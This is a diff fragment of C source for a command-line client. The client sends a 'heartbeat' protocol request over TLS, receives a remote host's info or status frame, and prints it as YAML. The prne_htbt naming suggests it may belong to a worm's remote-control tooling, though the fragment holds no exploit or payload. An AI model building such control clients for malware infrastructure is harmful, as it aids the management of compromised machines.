+ prne_htbt_msg_head_t mh;
+ prne_htbt_host_info_t hi;
+ prne_htbt_status_t st;
+
+ msgid = prne_htbt_gen_msgid(NULL, htbt_msgid_rnd_f);
+ prne_htbt_init_msg_head(&mh);
+ prne_htbt_init_host_info(&hi);
+ prne_htbt_init_status(&st);
+ mh.id = msgid;
+ mh.is_rsp = false;
+ mh.op = PRNE_HTBT_OP_HOST_INFO;
+
+ if (!do_connect()) {
+ ret = 1;
+ goto END;
+ }
+
+ if (!send_frame(&mh, (prne_htbt_ser_ft)prne_htbt_ser_msg_head)) {
+ ret = 1;
+ goto END;
+ }
+ if (!recv_mh(&mh, &msgid)) {
+ ret = 1;
+ goto END;
+ }
+ switch (mh.op) {
+ case PRNE_HTBT_OP_HOST_INFO:
+ if (!recv_frame(&hi, (prne_htbt_dser_ft)prne_htbt_dser_host_info)) {
+ ret = 1;
+ goto END;
+ }
+ start_yaml();
+ emit_preemble("hostinfo", "ok");
+ emit_hostinfo_frame(&hi);
+ break;
+ case PRNE_HTBT_OP_STATUS:
+ ret = 1;
+ if (recv_frame(&st, (prne_htbt_dser_ft)prne_htbt_dser_status)) {
+ start_yaml();
+ emit_preemble("hostinfo", "status");
+ emit_status_frame(&st);
+ }
+ goto END;
+ default:
+ fprintf(stderr, "Invalid op code response: %"PRIx8"\n", mh.op);
+ ret = 1;
+ goto END;
+ }
+
+END:
+ prne_htbt_free_msg_head(&mh);
+ prne_htbt_free_host_info(&hi);
+ prne_htbt_free_status(&st);
+ return ret;
+}
+
+int main (const int argc, char *const *args) {
+ int ec = 0;
+
+ init_prog_g();
+ init_prog_conf();
+
+ if (argc <= 1) {
+ print_help(args[0], SC_NONE, stderr);
+ ec = 2;
+ goto END;
+ }
+
+ ec = parse_args(argc, args);
+ if (prog_conf.help) {
+ print_help(args[0], prog_conf.cmd, stdout);
+ }
+ if (prog_conf.version) {
+ print_version(stdout);
+ }
+ if (ec != 0 || is_info_run()) {
+ goto END;
+ }
+
+ ec = init_tls();
+ if (ec != 0) {
+ goto END;
+ }
+
+ switch (prog_conf.cmd) {
+ // TODO
+ case SC_HOSTINFO: ec = cmdmain_hostinfo(); break;
+ default:
+ ec = 1;
+ fprintf(stderr, "COMMAND not implemented.\n");
+ }
+
+END:
+ end_yaml();
+ deinit_prog_conf();
+ deinit_prog_g();
+ return ec;
+}